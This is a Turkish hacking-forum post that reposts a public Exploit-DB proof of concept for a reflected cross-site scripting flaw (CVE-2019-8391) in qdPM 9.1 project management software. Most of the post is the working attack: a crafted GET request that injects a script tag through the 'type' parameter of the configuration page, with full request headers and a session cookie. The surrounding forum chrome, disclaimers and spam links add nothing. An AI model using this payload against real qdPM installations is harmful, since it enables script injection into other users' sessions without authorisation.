Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Exploitler

Exploitler Exploit Nedir ? Nasıl Kullanılır Ve Yeni Çıkan Exploitler Hakkında Bilgi ...


qdPM 9.1 - 'type' Cross-Site Scripting

Exploitler

Yeni Konu aç Cevapla
 
Seçenekler
Alt 19-02-2019 14:05   #1
  • Anka Saldırı Timi Asistanı
  • Üye Bilgileri
Üyelik tarihi
07/2014
Nereden
127.0.0.1
Yaş
20
Mesajlar
Konular

Teşekkür (Etti): 54
Teşekkür (Aldı): 110


qdPM 9.1 - 'type' Cross-Site Scripting



#Exploit Title/Exploit Başlığı: qdPM 9.1 - 'type' XSS Injection
# CVE: CVE-2019-8391.
# Date/Tarih: 14-02-2019
# Exploit Author/Exploit Yazarı: Mehmet EMIROGLU
# Vendor Homepage/Yapımcı Sitesi: Free Web-Based Project Management - qdPM Project Management, Time Tracking, Support Tickets, Open Source
# Software Link/Yazılımın Linki: http://qdpm.net/download-qdpm-free-project-management
# Version/Versiyon: v9.1
# Category/Kategori: Webapps
# Tested on/Test Edilen Sistem: Wamp64, @win
# Software description/Yazılım Açıklaması: qdPM küçük ekipler için web tabanlı ücretsiz proje yönetim aracı.Tamamen yapılandırılabilirdir.Projeleri ve insanları kolayca yönetebilirsiniz.

# POC - XSS
# Parameters/Parametreler : type
# Attack Pattern/Saldırı Türü : tasks_columns_list<script>bKtx(9366)</script>
# GET Request/GET İsteği: http://localhost/qdpm/index.php/configuration
GET
/qdpm/index.php/configuration?type=tasks_columns_list<script>bKtx( 9366)</script>
HTTP/1.1

Referrer : http://localhost/qdPM/
Cookie: qdPM8=se4u27u8rbs04mo61f138b5k3d; sidebar_closed=1
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML,
like Gecko) Chrome/41.0.2228.0 Safari/537.21

Accept: */*

Exploit Adresi : https://www.exploit-db.com/exploits/46398



___________________________________________

NE MUTLU TÜRK'ÜM DİYENE

 Offline  
 
Alıntı ile Cevapla
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Pomeranian Boo
instagram takipci hilesi

wau